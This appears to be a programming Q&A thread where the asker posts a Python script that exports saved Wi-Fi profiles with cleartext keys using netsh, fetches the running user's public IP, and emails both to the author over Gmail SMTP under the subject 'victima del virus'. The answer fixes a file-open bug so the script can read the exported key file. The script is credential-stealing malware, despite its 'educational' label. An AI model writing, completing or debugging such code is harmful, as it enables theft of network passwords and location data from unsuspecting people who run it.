ticua
ticua

Reputation: 31

Error while using open function in python 3.8.0

im spanish so some parts of the code are in spanish

im making a app that sends me to me mail the public ip and wifi password of the person who executed the code (its a educational porpouse proyect)

it gives me this error :

File "crack part 1.py", line 23, in f = str(open("C:"+"/red inalambrica-",reques,".xml", "r")) TypeError: an integer is required (got type str)

my code in PYTHON 3.8.1

#748273879318792 try of do a ext. ip address email sent and not working

#finally it worked

import subprocess

requests = "requests"

subprocess.call(['pip', 'install', requests])

from requests import get

import smtplib

ip = str(get('https://api.ipify.org').text)

y = "C:"

reques = str(input("pon el nombre de tu red : "))

x = str(subprocess.call(['netsh', 'wlan', "export", "profile", "key=clear", "folder=", y]))

f = open("C:"+"/red inalambrica-",reques,".xml", "r")

TO = '[email protected]'
SUBJECT = 'victima del virus'

TEXT = ip, data

    # Gmail Sign In
gmail_sender = '[email protected]'
gmail_passwd = '1230984567'

server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(gmail_sender, gmail_passwd)

BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: %s' % SUBJECT,str(TEXT)])

try:
    server.sendmail(gmail_sender, [TO], BODY)
    print ('email sent')
except:
    print ('error sending mail')
    server.quit()

Upvotes: 1

Views: 131

Answers (1)

SyntaxVoid
SyntaxVoid

Reputation: 2633

You need to concatenate the string in your call to open instead of separating it with commas.

The builtin open function accepts many optional arguments:

open(file, mode='r', buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None)

The way you are currently calling it is:

f = open("C:"+"/red inalambrica-",reques,".xml", "r")

which sets file="C:/red inalambrica-", mode=reques, buffering=".xml", and encoding="r"... which is clearly gibberish.

The error is caused when it tries to set the buffering keyword (which should indicate the integer number of bytes to allocate to the buffer) to the string ".xml".

Replace your call with this:

f = open("C:" + "/red inalambrica-" + reques + ".xml", "r")

or

f = open(f"C:/red inalambrica-{reques}.xml", "r")

if you are using python 3.6 or higher.

Upvotes: 1

Related Questions